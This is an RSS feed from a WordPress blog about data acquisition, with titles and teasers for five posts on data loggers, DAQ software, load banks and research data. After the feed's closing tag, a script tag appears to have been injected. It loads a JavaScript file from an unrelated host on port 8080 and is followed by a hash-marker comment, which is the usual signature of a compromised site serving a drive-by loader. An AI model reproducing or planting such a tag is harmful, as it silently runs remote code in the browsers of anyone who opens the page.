<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acquiree &#187; Data Acquisition</title>
	<atom:link href="http://acquiree.info/category/data-acquisition/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info</link>
	<description></description>
	<lastBuildDate>Sun, 27 Jun 2010 23:12:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Data Acquisition Means More Than Just Details</title>
		<link>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</link>
		<comments>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details#comments</comments>
		<pubDate>Wed, 19 Aug 2009 17:53:49 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[PID]]></category>
		<category><![CDATA[USB]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</guid>
		<description><![CDATA[
Depending upon what type of data acquisition is being used, there are a number of software program types that can organize, manipulate and present information in ways that are tailored to the needs of the user. As data systems get more and more intricate, the demands made on the software grow and change in response, [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Why people interested in research data online?</title>
		<link>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online</link>
		<comments>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online#comments</comments>
		<pubDate>Tue, 18 Aug 2009 18:04:53 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[drilling]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online</guid>
		<description><![CDATA[
Data research services are a fastest growing industry. There is a vast resource of information on web which can be of in good use to you. Data research is systematic gathering, evaluation and analysis of data relating to sale and distribution of financial products and services regarding consumer’s preferences.
 Data research needs skilled workforce for [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Ensure Clean, Reliable Power With Dc Load Banks and Data Loggers</title>
		<link>http://acquiree.info/data-acquisition/ensure-clean-reliable-power-with-dc-load-banks-and-data-loggers</link>
		<comments>http://acquiree.info/data-acquisition/ensure-clean-reliable-power-with-dc-load-banks-and-data-loggers#comments</comments>
		<pubDate>Tue, 18 Aug 2009 18:02:39 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Acquisition]]></category>
		<category><![CDATA[Car]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[Data Overlay]]></category>
		<category><![CDATA[driving]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[Race Car]]></category>
		<category><![CDATA[Racing]]></category>
		<category><![CDATA[RPM]]></category>
		<category><![CDATA[track]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/ensure-clean-reliable-power-with-dc-load-banks-and-data-loggers</guid>
		<description><![CDATA[
Ensure Clean, Reliable Power with DC Load Banks and Data Loggers
 
Load banks are devices which act as an electrical load. When applied to an electrical power source, they convert or dissipate the resultant power output of the source. A DC load bank&#8217;s function is to accurately imitate the operational or “real” load that a [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/ensure-clean-reliable-power-with-dc-load-banks-and-data-loggers/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Data Loggers Are Reliable Workhorses</title>
		<link>http://acquiree.info/data-acquisition/data-loggers-are-reliable-workhorses</link>
		<comments>http://acquiree.info/data-acquisition/data-loggers-are-reliable-workhorses#comments</comments>
		<pubDate>Mon, 17 Aug 2009 17:58:27 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Acquisition]]></category>
		<category><![CDATA[chart]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[powerlab]]></category>
		<category><![CDATA[recording]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[system]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-loggers-are-reliable-workhorses</guid>
		<description><![CDATA[
Data loggers are stand alone devices, gathering and organizing a large amount of data over long spans of time. While they are sometimes part of a data acquisition system, data loggers can also be independently used for getting information reliably and unattended. 
 One aspect of the loggers is that they usually have a time [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-loggers-are-reliable-workhorses/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Data Acquisition Systems</title>
		<link>http://acquiree.info/data-acquisition/data-acquisition-systems</link>
		<comments>http://acquiree.info/data-acquisition/data-acquisition-systems#comments</comments>
		<pubDate>Fri, 14 Aug 2009 17:50:15 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[ALICE]]></category>
		<category><![CDATA[CERN]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[LHC]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-acquisition-systems</guid>
		<description><![CDATA[
Data represents the basis of research and other processes that involve collection of useful information. Data retrieval, organizing and analysis have been part of the world for many years. It is due to data accrued over the years that enabled us to land our flag on the moon. So, why is data necessary in the [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-acquisition-systems/feed</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
	</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->